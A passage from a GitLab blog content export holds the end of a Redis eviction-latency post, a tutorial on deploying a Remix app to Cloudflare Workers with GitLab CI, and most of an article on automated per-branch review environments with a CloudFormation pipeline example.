travels. We also developed some novel tools and analytical methods and uncovered several useful environment-specific facts about our workload, infrastructure, and observability, leading to several additional improvements and proposals not mentioned above.\n\nOverall, we made several efficiency improvements and broke the cycle that was driving the pathology. Memory demand now stays well below the saturation point, eliminating the latency spikes that were burning error budgets for the development teams and causing intermittent slowness for users. All stakeholders are happy, and we came away with deeper domain knowledge and sharper skills!\n\n## Key insights summary\n\nThe following notes summarize what we learned about Redis eviction behavior (current as of version 6.2):\n* The same memory budget (`maxmemory`) is shared by key storage and client connection buffers. A spike in demand for client connection buffers counts towards the `maxmemory` limit, in the same way that a spike in key inserts or key size would.\n* Redis performs evictions in the foreground on its main thread. All time spent in `performEvictions` is time not spent handling client requests. Consequently, during an eviction burst, Redis has a lower throughput ceiling.\n* If eviction overhead saturates the main thread’s CPU, then response rate falls below request arrival rate. Redis accumulates a request backlog (which consumes memory), and clients experience this as slowness.\n* The memory used for pending requests requires more evictions, driving the eviction burst until enough clients are stalled that arrival rate falls back below response rate. At that equilibrium point, evictions stop, eviction overhead vanishes, Redis rapidly handles its request backlog, and that backlog’s memory gets freed.\n* Triggering this cycle requires all of the following:\n  * Redis is configured with a `maxmemory` limit, and its memory demand exceeds that size. This memory saturation causes evictions to begin.\n  * Redis main thread’s CPU utilization is high enough under its normal workload that having to also perform evictions drives it to CPU saturation. This reduces response rate below request rate, causing a growing request backlog and high latency.\n  * Many active clients are connected. The duration of the eviction burst and the size of memory spent on client connection buffers increases proportionally to the number of active clients.\n* Prevent this cycle by avoiding either memory or CPU saturation. In our case, avoiding memory saturation was easier (mainly by reducing cache TTL).\n\n## Further reading\n\nThe following lists summarize the analytical tools and methods cited in this article. These tools are all highly versatile and any of them can provide a massive level-up when working on performance engineering problems.\n\nTools:\n* [perf](https://www.brendangregg.com/perf.html) - A Linux performance analysis multitool. In this article, we used `perf` as a sampling profiler, capturing periodic stack traces of the `redis-server` process's main thread when it is actively running on a CPU.\n* [Flamescope](https://github.com/Netflix/flamescope) - A visualization tool for rendering a `perf` profile (and other formats) into an interactive subsecond heat map. This tool invites the user to explore the timeline for microbursts of activity or inactivity and render flamegraphs of those interesting timespans to explore what code paths were active.\n* [BCC](https://github.com/iovisor/bcc) - BCC is a framework for building BPF tools, and it ships with many useful tools out of the box. In this article, we used `funclatency` to measure the call durations of a specific Redis function and render the results as a histogram.\n* [bpftrace](https://github.com/iovisor/bpftrace) - Another BPF framework, ideal for answering ad-hoc questions about your system's behavior. It uses an `awk`-like syntax and is [quick to learn](https://github.com/iovisor/bpftrace#readme). In this article, we wrote a [custom `bpftrace` script](https://gitlab.com/gitlab-com/gl-infra/scalability/uploads/cab2cd03231f8dd4819f77b44d768cb9/redis_snoop.getMaxmemoryState.sha_25a228b839a93a1395907a03f83e1eee448b0f14.production_thresholds.bt) for observing the variables used in computing how much memory to free during each round of evictions. This script's instrumentation points are specific to our particular build of `redis-server`, but the [approach is able to be generalized](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_982498636) and illustrates how versatile this tool can be.\n\nUsage examples:\n* [Example](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_854745083) - Walkthrough of using `perf` and `flamescope` to capture, filter, and visualize the stack sampling CPU profiles of the Redis main thread.\n* [Example](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_857869826) - Walkthrough (including safety check) of using `funclatency` to measure the durations of the frequent calls to function `performEvictions`.\n* [Example](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/7172#note_971197943) - Experiment for adjusting Redis settings `lazyfree-lazy-eviction` and `maxmemory-eviction-tenacity` and observing the results using `perf`, `funclatency`, `funcslower`, and the Redis metrics for eviction count and memory usage.\n* [Example](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_982498636) - This is a working example (script included) of using `bpftrace` to observe the values of a function's variables. In this case we inspected the `mem_tofree` calculation at the start of `performEvictions`. Also, these [companion notes](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_982499538) discuss some build-specific considerations.\n* [Example](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1601#note_987049036) - Describes the latency injection experiment (the first of the three ideas). This experiment confirmed that memory demand increases at the predicted rate when we slow response rate to below request arrival rate, in the same way evictions do. This result confirmed the request queuing itself is the source of the memory pressure that amplifies the eviction burst once it begins.\n",[1268,696,4103],{"slug":11736,"featured":6,"template":678},"how-we-diagnosed-and-resolved-redis-latency-spikes","content:en-us:blog:how-we-diagnosed-and-resolved-redis-latency-spikes.yml","How We Diagnosed And Resolved Redis Latency Spikes","en-us/blog/how-we-diagnosed-and-resolved-redis-latency-spikes.yml","en-us/blog/how-we-diagnosed-and-resolved-redis-latency-spikes",{"_path":11742,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11743,"content":11749,"config":11754,"_id":11756,"_type":16,"title":11757,"_source":17,"_file":11758,"_stem":11759,"_extension":20},"/en-us/blog/deploy-remix-with-gitlab-and-cloudflare",{"title":11744,"description":11745,"ogTitle":11744,"ogDescription":11745,"noIndex":6,"ogImage":11746,"ogUrl":11747,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11747,"schema":11748},"How to publish a Remix app to the edge with GitLab and Cloudflare","Learn how to deploy a Remix app with GitLab and Cloudflare Workers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682517/Blog/Hero%20Images/ryoji-hayasaka-0UZj73PQVew-unsplash.jpg","https://about.gitlab.com/blog/deploy-remix-with-gitlab-and-cloudflare","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to publish a Remix app to the edge with GitLab and Cloudflare\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Janis Altherr\"}],\n        \"datePublished\": \"2022-11-21\",\n      }",{"title":11744,"description":11745,"authors":11750,"heroImage":11746,"date":11751,"body":11752,"category":734,"tags":11753},[4455],"2022-11-21","\n\n[Remix](https://remix.run) has had a significant impact in the frontend space. \nAfter eons of backend frameworks providing some sort of frontend options that are more or \nless hated by frontend engineers, followed by frontend frameworks that \nrequired a separate API for the most simple tasks that were a pain to \nmaintain, now suddenly there are frontend frameworks that you can write\nbackend code with.\n\nThis is ideal as an application scales: Remix offers the comfort of writing \nserver-side code, but should the business logic start to exceed the \ncapabilities of Remix, it's easy to move code to an API on a per-request basis. \nThis comes without the need to rewrite the entire application logic, while \nstill retaining server-side-rendering or even pre-rendering capabilities!\n\nThe most performant way to deploy a Remix app is to the edge. This means \nthat small instances of your Remix app are run on a server close to the requesting\nuser. An edge network consists of hundreds of \nservers all over the world, so you can be sure the network latency for the \nuser stays low.\n\nCurrently the most popular edge service capable of running Remix apps are \nCloudflare Workers. Not only does Cloudflare offer a generous free tier, \nWorkers are also extremely easy to deploy using GitLab CI/CD. \nHere's how to create a Remix app and then deploy it to Cloudflare Workers.\n\n## Create your Remix app\n\nCreate your Remix app locally using:\n\n```bash\nnpx create-remix@latest \u003Cmy-app-name>\n```\n\nThe CLI will now guide you through a series of questions. Some of those you \nmay answer as you prefer, but answer the following questions as indicated \nbelow:\n\n```text\n? What type of app do you want to create? \n> choose \"Just the Basics\"\n\n? Where do you want to deploy? [...]\n> choose \"Cloudflare Workers\"\n\n? Do you want me to run `npm install`?\n> answer \"Yes\"\n```\n\nInitialize the repository and add the first commit:\n\n```shell\ngit init\ngit add .\ngit commit -m \"initial commit\"\n```\n\n## Create the project in GitLab\n\nYou can't push the code as we have yet to set up the remote repository.\nVisit GitLab and create a new project. When asked, select \"Create blank \nproject.\"\n\nIn the project setup dialog, select `Edge Computing` as the `Deployment \ntarget`. Choose the visibility level however you like as this affects your \nsource code visibility.\n\nMake sure you unset the checkbox next to **Initialize repository with a \nREADME**, otherwise GitLab will begin a new Git history that you will have to reconcile\nwith your existing local one.\n\nOnce the project is set up, follow the instructions on how to add an \nexisting repository – if you've followed the above instructions to the letter \nyou don't have an existing remote yet, so you can run this simplified set of \ncommands:\n\n```shell\ngit remote add origin \u003Cgit-project-url>\ngit push -u origin main\n```\n\n## Configure Cloudflare\n\nNow set up your Cloudflare account to enable deployments from GitLab. \n[Login](https://dash.cloudflare.com/login) or [create an account](https://dash.cloudflare.com/sign-up).\n\n### Subscribe to a Workers plan\n\nIf you are creating a Worker for the first time, you will have to sign up for a Workers plan in Cloudflare.\n\nIn the Cloudflare dashboard's left sidebar click the entry **Workers**. Let \nCloudflare guide you through the setup.\n\n![Screenshot: Signing up for Workers in Cloudflare](https://about.gitlab.com/images/blogimages/remix-cloudflare/workers_onboarding.png)\n\nOnce you're back to the Workers overview page, continue below.\n\n### Obtain an API token\n\nTo be able to deploy your Cloudflare Worker from a GitLab pipeline you will need\nan API token. To do so, log in to the Cloudflare dashboard, then open the [API \ntokens page](https://dash.cloudflare.com/profile/api-tokens) (or find it \nmanually via the **user icon** > **My Profile** > **Api Tokens**).\n\nClick **Create Token**. Find **Edit Cloudflare Workers**, click **use \ntemplate**.\n\n![Screenshot: Select API Token template \"Edit Cloudflare Workers\"](https://about.gitlab.com/images/blogimages/remix-cloudflare/api_token_template_selection.png)\n\nUnder **Account Resources** choose *Include* and your account name.\n\nUnder **Zone Resources** choose *Include*, *Specific Zone* and your site's \ndomain. If you haven't set up a domain, you can use a less specific rule \nsuch as *All zones from an account*, although we don't recommend doing this; the API token could potentially be used beyond its scope if you add more zones to your Cloudflare account later.\n\n![Screenshot: API Token Account and Zone Settings](https://about.gitlab.com/images/blogimages/remix-cloudflare/api_token_rules.png)\n\n**Note:** If you have more than one account associated with the API token used \nduring deployment, you will have to update your project's `wrangler.toml` file\nto use the correct account. [Read more in the Cloudflare documentation](https://developers.cloudflare.com/workers/wrangler/ci-cd/#account-id).\n\nOnce you're done setting up the API token, click **Continue to summary**, \nand verify your selections. It should look like this:\n\n![Screenshot: API Token Summary View](https://about.gitlab.com/images/blogimages/remix-cloudflare/api_token_summary.png)\n\nIf you're happy, click **Create Token**. Cloudflare will then show you the new \ntoken. \n\nCopy the token and save it in GitLab: Open your project in GitLab, then \nvisit **Settings** > **CI/CD**. Find **Variables** and click **Expand**. Click \n**Add Variable**.\n\nIn the **Key** field, enter `CLOUDFLARE_API_TOKEN`.\nIn the **Value** field, paste the API token from Cloudflare.\n\nNow make sure your token isn't leaked in any logs: Check both **Protect** \nand **Mask**. When done, click **Add Variable**.\n\n![Adding a Variable in GitLab](https://about.gitlab.com/images/blogimages/remix-cloudflare/adding_cf_api_token_as_variable.gif)\n\n## Create the deployment pipeline\n\nThe last step is to create a GitLab pipeline. In your local repository root \nfolder, create a file named `.gitlab-ci.yml` and add the following content:\n\n```yaml\nstages:\n- deploy\n\ndeploy-worker:\n    image: node:lts\n    stage: deploy\n    environment: production\n    before_script:\n      # install dependencies\n      - npm ci\n    script:\n      - npm run deploy\n    rules:\n      # This rule triggers this job after any push to the default branch\n      - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n```\n\nTo learn more about how to configure your GitLab pipeline, read our \n[documentation](https://docs.gitlab.com/ee/ci/).\n\nNow add the file to the repository:\n\n```shell\ngit add .gitlab-ci.yml\ngit commit -m \"Add Deployment Pipeline\"\ngit push\n```\n\nThis last push will immediately run this pipeline. To monitor the pipeline \nprogress, open GitLab. In the left sidebar, find **CI/CD** > **Pipelines**. \nOnce the pipeline is marked as _passed_, your Remix site is live!\n\nIf you've used the create-app instructions from this blogpost, your app should \nhave been configured to use the app name as the Worker's name. Check the \n`name` setting in your project's `wrangler.toml`.\n\nGo to `https://\u003Cworker-name>.\u003Ccloudflare-account-name>.workers.dev` to see \nyour Remix site in action. Congratulations!\n\nIn your Cloudflare dashboard, you can monitor your new app by selecting \n**Workers** from the left sidebar and then clicking on the Worker with the \nname of your app.\n\nFrom now on, any push to your repositories default branch will automatically \nbe built and deployed to Cloudflare. \n\n### Use a custom Domain for your app\n\nIf you want to use your own domain, set up your website as a resource now.\n\nIn the left sidebar, click on **Websites**. In the main window, find and click\nthe **Add Site** button.\n\n![Screenshot: Add a new site in Cloudflare](https://about.gitlab.com/images/blogimages/remix-cloudflare/add_site.png)\n\nNow enter your site's domain. Select a plan that suits your needs.\nFollow the DNS setup instructions provided on the following pages.\n\nOnce you have set up your domain as a website in Cloudflare, go to the \nwebsite settings. (In the left sidebar click **Websites**, then select your \nsite).\n\n![Screenshot: Find your website on the Cloudflare Dashboard](https://about.gitlab.com/images/blogimages/remix-cloudflare/add_route_step_1.png)\n\nThe left sidebar now shows the detail navigation for the selected website. \nClick **Workers Routes**, then click **Add Route**. \n\n![Screenshot: Add a new route to your Site](https://about.gitlab.com/images/blogimages/remix-cloudflare/add_route_step_2.png)\n\nIn the Add Route Modal you can add a dynamic pattern to let Cloudflare know which requests to route to your Worker. \nFor Remix apps that's usually all of them, so if your site's domain is \n`my-site.com`, use `my-site.com/*`. You can also redirect all subdomain \nrequests to the worker by using `*.my-site.com/*` (this is useful if you \nwould like to also serve your site at `www.my-site.com`).\n\nUnder **Service**, select your newly created Worker.\nUnder **Environment**, select **production**.\n\nClick \"Save\".\n\n![Screenshot: Add route modal](https://about.gitlab.com/images/blogimages/remix-cloudflare/add_route_step_3.png)\n\nOnce the DNS servers are updated, your Remix site should be accessible with \nyour custom domain.\n\n\n## Read More\n\n- [Learn more about Cloudflare Workers](https://developers.cloudflare.com/workers/wrangler/configuration/)\n- [Check out the Remix docs](https://remix.run/docs/en/v1)\n- [Learn about GitLab pipelines](https://docs.gitlab.com/ee/ci/)\n",[696,232,695],{"slug":11755,"featured":6,"template":678},"deploy-remix-with-gitlab-and-cloudflare","content:en-us:blog:deploy-remix-with-gitlab-and-cloudflare.yml","Deploy Remix With Gitlab And Cloudflare","en-us/blog/deploy-remix-with-gitlab-and-cloudflare.yml","en-us/blog/deploy-remix-with-gitlab-and-cloudflare",{"_path":11761,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11762,"content":11768,"config":11774,"_id":11776,"_type":16,"title":11777,"_source":17,"_file":11778,"_stem":11779,"_extension":20},"/en-us/blog/environment-friction-cycle",{"title":11763,"description":11764,"ogTitle":11763,"ogDescription":11764,"noIndex":6,"ogImage":11765,"ogUrl":11766,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11766,"schema":11767},"How GitLab eliminates value stream friction in dev environments","It is important to have the complete picture of scaled effects in view when designing automation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682507/Blog/Hero%20Images/sandeep-singh-3KbACriapqQ-unsplash.jpg","https://about.gitlab.com/blog/environment-friction-cycle","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab can eliminate the massive value stream friction of developer environment provisioning and cleanup\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2022-11-17\",\n      }",{"title":11769,"description":11764,"authors":11770,"heroImage":11765,"date":11771,"body":11772,"category":734,"tags":11773},"How GitLab can eliminate the massive value stream friction of developer environment provisioning and cleanup",[1244],"2022-11-17","\n\nA strong DevOps value stream drives developer empowerment as far left as possible. In GitLab, this is embodied in per-feature branch merge requests that are rich with automated code quality and defect information - including not only findings - but automated remediation capabilities and collaboration. Some defects and code quality issues can only be found by analyzing a running copy of the application, including DAST, IAST, fuzzing and many others. GitLab has built a fully automated, seamless developer environment lifecycle management approach right into the developer experience. In fact, it’s so seamlessly built-in, it can be easy to overlook how critical developer environment lifecycle management is. This article will highlight why and how GitLab adds value using developer environment automation. In addition, while GitLab provides out of the box developer environment lifecycle management for Kubernetes, this article demonstrates an approach and a working example of how to extend that capability to other common cloud-based application framework PaaS offerings.\n\n## Provisioning of development environments is generally a negative feedback loop\n\nIn a prior job, I worked on a DevOps transformation team that supported multiple massive shared development environments in AWS. They were accessible to more than 4,000 developers working to build more than 100 SaaS applications and utility stacks. In the journey to the AWS Cloud, each development team took ownership of the automation required to deploy their applications. Since developers were able to self-service, over time this solved the problem of development friction generated by waiting for environments to be provisioned for testing, feature experiments, integration experiments, etc. \n\nHowever, the other half of the problem then ballooned - environment sprawl - with an untold number of environments idling without management and without knowledge of when they could be torn down. Over time the development environment cost became a significant multiple of production costs. The cloud has solved problems with environment provisioning bottlenecks due to hardware acquisition and provisioning, but this can also inadvertently fuel the high costs of unmanaged sprawl. This problem understandably causes organizations to raise administrative barriers to new development environments.\n\nIn many organizations this becomes a vicious cycle - most especially if developer environments are operated by a different team, or worse, on an independent budget. Environment justification friction usually comes quickly after discovering the true cost of the current running environments. Developers then have to justify the need for new environment requests and they have to make the gravest of promises to disband the environment as soon as they are done. Another friction arises when a separate group is tasked with cost controls and environment provisioning and cleanup. This introduces friction in the form of administrative and work queueing delays. Coordination friction also crops up because an accurate understanding of exactly what is needed for an environment can be challenging to convey. When mistakes are made or key information is missing, developers must go back and forth on support requests to get the configuration completely correct.\n\n## Partial automation can worsen the problem\n\nThat’s the first half of the environment lifecycle, but as I mentioned, even if that is fully automated and under the control of developers, the other half of the feedback loop comes into play. When a given development environment has fulfilled its initial justification reason, the team does not want to destroy it because environments are so hard to justify and create. Then the sprawl starts and, of course, the barriers to new environments are raised even higher. This is a classic negative feedback loop.\n\nSystems theory shows us that sometimes there are just a few key factors in stopping or even reversing a negative feedback loop. Lets take this specific problem apart and talk about how GitLab solves for it.\n\n## Treat developer environments as a complete lifecycle\n\nIn the prior example it is evident that by leaving out the last stage of the environment lifecycle - retirement or tear down - we still end up with a negative feedback loop. Removing provisioning friction actually makes the problem worse if retirement friction is not also addressed at the same time. Solutions to this problem need to address the entire lifecycle to avoid impacting value stream velocity. Neglecting or avoiding the retirement stage of a lifecycle is a common problem across all types of systems. In contrast, by addressing the entire lifecycle we can transform it from being a negative feedback loop to a managed lifecycle.\n\n## The problems of who and when\n\nBuried inside the insidious friction loop are a couple key coordination problems we’ll call “Who and When.” Basically, \"Who\" should create environments and \"When\" should they be created to ensure reasonable cost optimization? Then again, _Who_ should cleanup environments and _When_ do you know that the environment is no longer needed with certainty? Even with highly collaborative teams working hard together for maximum business value, these questions present a difficulty that frequently results in environments running for a long time before they are used and after they are no longer needed. The knowledge of appropriate timing plays a critical role in gaining control over this source of friction.\n\n## The problem of non-immutable development environments\n\nFriction in environment lifecycle management creates a substantial knock-on problem associated with long-lived environments. Long-lived environments that are updated multiple times for various independent projects start to accumulate configuration rot; they become snowflakes with small changes that are left over from non-implemented experiments, software or configuration removals, and other irrelevant bits and pieces. Immutability is the practice of not doing “in place” updates to a computing element, but rather destroying it and replacing it with a fresh, built-from-scratch, element. Docker has made this concept very accepted and effective in production workloads, but development environments frequently do not have this attribute due to automating without the design constraint of immutability, so they are updated in-place for reuse by various initiatives. If the environment lifecycle is not fully automated, it impossible to make them workable on a per-feature branch basis.\n\n## The problem of non-isolated development environments \n\nWhen environments are manually provisioned or when there is a lot of cost or administrative friction to setting them up, environment sharing becomes more common place. This creates sharing contention at many levels. Waiting to schedule into use an environment, pressure to complete work quickly so others can use the environment, and restrictions on the types of changes that can be made to shared environments are just some of the common sharing contention elements that arise. If environments can be isolated, then sharing contention friction evaporates. Pushing this to the extreme of a per-feature branch granularity brings many benefits, but is also difficult.\n\n## Effect on the development value stream\n\nThe effect that a friction-filled environment lifecycle has on the value stream can be immense - how many stories have you heard of projects waylaid for weeks or months while waiting on environment provisioning? What about defects shipped to production because a shared environment had left over configuration during testing? Frequently this friction is tolerated in the value stream because no one will argue that unlimited environment sprawl is an unwise use of company resources. We all turn off the lights in our home when we are no longer using a room and it is good business sense and good stewardship not to leave idle resources running at work.\n\nThe concept of good stewardship of planetary resources is actually becoming an architectural level priority in the technology sector. This is in evidenced in AWS’ [introduction of the “Sustainability” pillar to the AWS Well Architected principals in 2021](https://aws.amazon.com/blogs/aws/sustainability-pillar-well-architected-framework/) and many other green initiatives in the technology sector.\n\nIt’s imperative that efforts to improve the development value stream consider whether developer environment management friction is hampering the breadth, depth and velocity of product management and software development.\n\n## Seamless and fully automated review environment lifecycle management\n\nWhat if this negative feedback loop could be stopped? What if new environments were seamless and automatically created right at the moment they were needed? What if developers were completely happy to immediately tear down an environment when they were done because it takes no justification nor effort on their part to create new one at will?\n\nEnter GitLab Review Environments!\n\nGitLab review apps are created by the developer action of creating a new branch. No humans are involved as the environment is deployed while the developer is musing their first code changes on their branch.\n\nAs the developer pushes code updates the review apps are automatically updated with the changes and all quality checks and security scanning are run to ensure the developer understands that they introduced a vulnerability or quality defect. This is done within the shortest possible amount of time after the defect was introduced.\n\nWhen the developer merges their code, the review app is automatically torn down.\n\nThis seamless approach to developer environment provisioning and cleanup addresses enough of the critical factors in the negative feedback loop that it is effectively nullified.\n\nConsider:\n\n- Developer environment provisioning and cleanup are fully automated, transparent, developer-initiated activities. They do not consume people nor human process resources, which are always legions slower and more expensive than technology solutions.\n- Provisioning and cleanup timing are exactly synchronized with the developer’s need, preventing inefficiencies in idle time before or after environment usage.\n- They are immutable on a new branch basis - a new branch always creates a new environment from fresh copy of the latest code.\n- They are isolated - no sharing contention and no mixing of varying configuration.\n- They treat developer environments as a lifecycle.\n\nIt is so transparent that some developers may not even realize that their feature branch has an isolated environment associated with it.\n\n## Hard dollar costs are important and opportunity costs are paramount\n\nGitLab environments positively contribute to the value stream in two critical ways. First, the actual waste of idle machines is dramatically reduced. However, more importantly, all the human processes that end up being applied to managing that waste also disappear. Machines running in the cloud are only lost money. Inefficient use of people’s time carries a high dollar cost but it also carries a higher opportunity cost. There are so many value-generating activities people can do when their time is unencumbered by cost-control administration.\n\n## Multiplying the value stream contributions of developer review environments\n\nDeveloper environment friction is an industry-wide challenge and GitLab nearly eliminates the core problems of this feedback cycle. However, GitLab has also gone way beyond simply addressing this problem by creating a lot of additional value through seamless per-feature branch developer environments.\n\nHere is a visualization of where dynamic review environments plug into the overall GitLab developer workflow.\n\n![](https://about.gitlab.com/images/blogimages/environment-friction-lifecycle/gitlabenvironmentlifecycle.png)\n\n**Figure 1: Review environments with AWS Cloud Services**\n\nFigure 1 is showing GitLab’s full development cycle support with a little art of the possible thrown in around interfacing with AWS deployment services. The green dashed arrow indicates that GitLab deploys a review environment when the branch is first created. Since the green arrow is part of the developer's iteration loop, the green arrow is also depicting that review app updates are done on each code push. \n\nThe light purple box is showing that the iterative development and CI checks are all within the context of a merge request (MR), which provides a Single Pane of Glass (SPOG) for all quality checks, vulnerabilities and collaboration. Finally, when the merge is done, the review environment is cleaned up. The feature branch merge request is the furthest left that visibility and remediation can be shifted. GitLab’s shifting of this into the developer feature branch is what gives developers a semi-private opportunity to fix any quality or security findings with the specific code they have added or updated.\n\nOne other thing to note here is that when GitLab CD code is engineered to handle review environments, it is reused for all other preproduction and production environments. The set of AWS icons after the “Release” icon would be using the same deployment code. However, if the GitLab CD code is engineered only around deploying to a set of static environments, it is not automatically capable of review environments. Review environment support is a superset of static environment support.\n\n## Review environments enable a profound shift left of visibility and remediation\n\nAt GitLab “shift left” is not just about “problem visibility” but also about “full developer enablement to resolve problems” while in-context. GitLab merge requests provide critical elements that encourage developers to get into a habit of defect remediation:\n\n- **Context** - Defect and vulnerability reporting is only for code the developer changed in their branch and is tracked by the merge request (MR) for that branch.\n- **Responsibility** - Since MRs and branches are associated to an individual, it is evident to the developer (and the whole team) what defects were introduced or discovered by which developers.\n- **Timing** - Developers become aware of defects nearly as soon as they are introduced, not weeks or months after having integrated with other code. If they were working on a physical product, we can envision that all the parts are still on the assembly bench.\n- **Visibility - Appropriately Local, Then Appropriately Global** - Visibility of defects is context specific. While a developer has an open MR that is still a work in progress, they can be left alone to remedy accidentally-introduced defects with little concern from others because the visibility is local to the MR. However, once they seek approvals to merge their code, then the approval process for the MR will cause the visibility of any unresolved defects and vulnerabilities to come to the attention of everyone involved in the approval process. This ensures that oversight happens with just the right timing - not too early and not forgotten. This makes a large-scale contribution to human efficiency in the development value stream.\n- **Advisement** - As much as possible GitLab integrates tools and advice right into the feature branch MR context where the defects are visible. Developers are given full vulnerability details and can take just-in-time training on specific vulnerabilities. \n- **Automated Remediation** - Developers can choose to apply auto-remediations when they are available.\n- **Collaboration** - They can use MR comments and new issues to collaborate with team mates throughout the organization on resolving defects of all types.\n\nHaving seamless, effortless review environments at a per-feature branch granularity is a critical ingredient in GitLab’s ability to maximize the shift left of the above developer capabilities. This is most critical in the developer checks that require a running copy of application, which is provided by the review environments. These checks include things such as DAST, IAST, API fuzzing and accessibility testing. The industry is also continuing to multiply the types of defect scanners that require an actively running copy of the application.\n\n## Extending GitLab review environments to other cloud application framework PaaS\n\nSo you may be thinking, “I love GitLab review environments, but not all of our applications are targeting Kubernetes.” It is true that the out- of-the-box showcasing of GitLab review environments depends on Kubernetes. One of the key reasons for this is that Kubernetes provides an integrated declarative deployment capability known as deployment manifests. The environment isolation capability, known as namespaces, also provides a critical capability. GitLab wires these Kubernetes capabilities up to a few key pieces of GitLab CD to accomplish the magic of isolated, per-feature branch review environments.\n\nAs far as I know there is no formal or defacto industry term for what I’ll call “Cloud Application Framework PaaS.” Cloud-provided PaaS can be targeted at various “levels” of the problem of building applications. For instance, primitive components such as AWS ELB address the problem of application load balancing by providing a variety of virtual, cloud-scaling and secured appliances that you can use as a component of building an application. Another example is [AWS Cognito](https://aws.amazon.com/cognito/) to help with providing user login and profile services to an application build.\n\nHowever, there are also cloud PaaS offerings that seek to solve the entire problem of rapid application building and maintenance. These are services like AWS Amplify and AWS AppRunner. These services frequently knit together primitive PaaS components (such as described above) into a composite that attempts to accelerate the entire process of building applications. Frequently these PaaS also include special CLIs or other developer tools that attempt to abstract the creation, maintenance and deployment of an Infrastructure as Code layer. They also tend to be [GitOps](/topics/gitops/)-oriented by storing this IaC in the same repository as the application code, which enables full control over deployments via Git controls such as branches and merge requests.\n\nThis approach relieves developers of early stage applications from having to learn IaC or hire IaC operations professionals too early. Basically it allows avoidance of overly early optimization of onboarding IaC skills. If the application is indeed successful it is quite common to outgrow the integrated IaC support provided by these specialized PaaS, however, the evolution is very natural because the managed IaC can simply start to be developed by specialists.\n\nThe distinction of cloud application framework PaaS is important when understanding where GitLab can create compound value with Dynamic Review Environments. I will refer to this kind of PaaS as “Cloud Application Infrastructure PaaS” that tries to solve the entire “Building Applications Problem.”\n\nSo we have a bunch of GitLab interfaces and conventions for implementing seamless developer review environments and we have non-Kubernetes cloud application infrastructures that provide declarative deployment interfaces and we can indeed make them work together! Interesting it is all done in GitLab CI YAML, which means that once you see the art of the possible, you can start implementing dynamic review environment lifecycle management for many custom environment types with the existing GitLab features. \n\n## A working, non-Kubernetes example of dynamic review environments in action\n\n![](https://about.gitlab.com/images/blogimages/environment-friction-lifecycle/CloudFormationDeployAnimatedGif.gif)\n\n**Figure 2: Working CD example of review environments for AWS CloudFormation**\n\nFigure 2 shows the details of an actual non-Kubernetes working example called CloudFormation AutoDeploy With Dynamic Review Environments. This project enables any AWS CloudFormation template to be deployed. It specifically supports an isolated stack deployment whenever a review branch is created and then also destroys that environment when the branch is merged. \n\nHere are some of the key design constraints and best practices that allow it to support automated review environments.:\n\n- **The code is implemented as an include.** Notice that the main [.gitlab-ci.yml](https://gitlab.com/guided-explorations/aws/cloudformation-deploy/-/blob/main/.gitlab-ci.yml) files have only variables applicable to this project and then the inclusion of Deploy-AWSCloudFormation.gitlab-ci.yml. This allows you to treat the CloudFormation integration as a managed process, shared include to be improved and updated. If the stress of backward compatibility of managing a shared dependency is too much, you can encourage developers to make a copy of this file to essentially version peg it with their project.\n\n- **Avoids Conflict with Auto DevOps CI Stage Names** - The [standard stages of Auto Devops are here](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml#L70). This constraint allows the auto deploy template to be leveraged. \n\n- **Creates and Sequences Custom Stages as Necessary** - For instance, you can see we’ve added `create-changeset` stage and jobs.\n\n- The `deploy-review` job and it’s `environment:` section must have a very specific construction, let’s look at the important details:\n\n  ```\n    rules:\n      - if: '$CI_COMMIT_BRANCH == \"main\"'\n        when: never\n      - if: '$REVIEW_DISABLED'\n        when: never\n      - if: '($CI_COMMIT_TAG || $CI_COMMIT_BRANCH) && $REQUIRE_CHANGESET_APPROVALS == \"true\"'\n        when: manual\n      - if: '($CI_COMMIT_TAG || $CI_COMMIT_BRANCH) && $REQUIRE_CHANGESET_APPROVALS != \"true\"'\n    artifacts:\n      reports:\n        dotenv: envurl.env\n    environment:\n      name: review/$CI_COMMIT_REF_SLUG\n      url: $DYNAMIC_ENVIRONMENT_URL\n      on_stop: stop_review\n  ```\n\n  \n\n  - `rules:` are used to ensure this job only runs when we are not on the main branch. The main branch implements long lived stage and prod environments.\n  - `artifacts:reports:dotenv` allows variables populated during a CI job to become pipeline level variables. The most critical role this does in this job is to allow the URL retrieved from CloudFormation Outputs to be populated into the variable DYNAMIC_ENVIRONMENT_URL. The file `enviurl.env` would have at least the line `DYNAMIC_ENVIRONMENT_URL={url-from-cloudformation}` in it. You can see this in the job code as `echo \"DYNAMIC_ENVIRONMENT_URL=${STACK_ENV_URL}\" >> envurl.env`\n  - `environment:name:` is using the Auto Deploy convention of placing review apps under the review environments top level called `review` The reference $CI_COMMIT_REF_SLUG ensures that the branch (or tag name) is used, but with all illegal characters removed. By your development convention, the Environment Name should become a part of the IaC constructs that ensure both uniqueness as well as identifiability by this pipeline. In GitLab's standard auto deploy for Kubernetes this is done by constructing a namespace that contains the name in this provided parameter. In CloudFormation we make it part of the Stack Name. The value here is exposed in the job as the variable ${ENVRONMENT}.\n  - `environment:url:` it is not self-evident here that the variable DYNAMIC_ENVIRONMENT_URL was populated by the deployment job and added to the file `enviro.env` so that it would contain the right value at this time. This causes the GitLab “Environment” page to have a clickable link to visit the environment. It also is used by DAST and other live application scan engines to find and scan the isolated environment.\n  - 